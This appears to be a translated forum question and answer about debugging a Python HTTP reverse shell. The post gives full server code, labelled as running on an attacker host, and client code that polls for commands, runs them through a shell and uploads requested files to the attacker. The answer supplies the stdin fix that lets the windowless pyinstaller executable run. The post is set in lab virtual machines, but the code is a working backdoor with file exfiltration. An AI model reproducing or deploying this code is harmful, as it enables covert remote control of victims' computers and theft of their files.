0

我对使用 python 编程相当陌生,并且能够在从解释器运行脚本时使代码正常工作。但是,当我使用 pyinstaller 创建一个无窗口的单个文件可执行文件时,当我向客户端发送一个简单的命令(例如 dir)时,它会崩溃。服务器端运行在 Kali 虚拟机上,客户端运行在 Windows 虚拟机上。

我希望有人能够看到我缺少的东西,当从 exe 运行时会导致客户端崩溃,但在解释器中可以正常工作。

服务器代码:

from http.server import BaseHTTPRequestHandler, HTTPServer

import os, cgi

hostname = "10.10.10.100" #Host(attacker) IP address
port = 80 #Listening port number

class MyHandler(BaseHTTPRequestHandler):

    def do_GET(self):

        command = input("Shell> ") #get command input

        self.send_response(200) #send OK message
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(command.encode()) #send command to client

    def do_POST(self):

        if self.path == "/store": #Check for /store in URL signalling a file transfer
            try:

                ctype, pdict = cgi.parse_header(self.headers["content-type"])

                if ctype == "multipart/form-data":

                    fs = cgi.FieldStorage(fp = self.rfile, headers = self.headers, environ ={"REQUEST_METHOD":"POST"})

                else:

                    print("[-] Unexpected POST request")

                fs_up = fs["file"] #Here file is the key to hold the actual file

                with open("/root/Desktop/1.txt", "wb") as tfile: #Create new file and write contents into this file

                    tfile.write(fs_up.file.read())
                    self.send_response(200)
                    self.end_headers()

            except Exception as e:

                print(e)

            return # once we store the received file in our file holder, we exit the function

        self.send_response(200)
        self.end_headers()
        length = int(self.headers["Content-Length"]) #Define the length which means how many bytes the HTTP POST data contains
        postVar = self.rfile.read(length) # Read then print the posted data
        print(postVar.decode())

if __name__ == "__main__":

    server_class = HTTPServer
    myServer = server_class((hostname, port), MyHandler)

    try:

        myServer.serve_forever()

    except KeyboardInterrupt: #if we got ctrl+c we will Interrupt and stop the server

        print("[!] Server terminated")
        myServer.server_close()

客户代码:

import requests #requests library
import subprocess #system operations
import time #time library
import os

while True:

    req = requests.get("http://10.10.10.100")  # This sends get request to the Attacker
    command = req.text # Received text will be saved in command variable

    if "terminate" in command:

        break #terminate connection

    elif "grab" in command:

        grab,path = command.split("*")

        if os.path.exists(path): #check if file exists

            url = "http://10.10.10.100/store" #Append /store in the URL to signal file transfer
            files = {"file": open(path, "rb")} # Add a dictionary key where file will be stored
            r = requests.post(url, files=files) # Send the file

        else:

            post_response = requests.post(url="http://10.10.10.100", data="[-] File not found")

    else: #execute given command

        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        post_response = requests.post(url="http://10.10.10.100", data=CMD.stdout.read()) # POST the result
        post_response = requests.post(url="http://10.10.10.100", data=CMD.stderr.read()) # POST the error


    time.sleep(3) # create a pause between commands
4

1 回答 1

0

终于找到了一个帖子,为我指明了正确的方向。需要更改以下行:

CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

至:

CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
于 2018-03-26T17:08:58.877 回答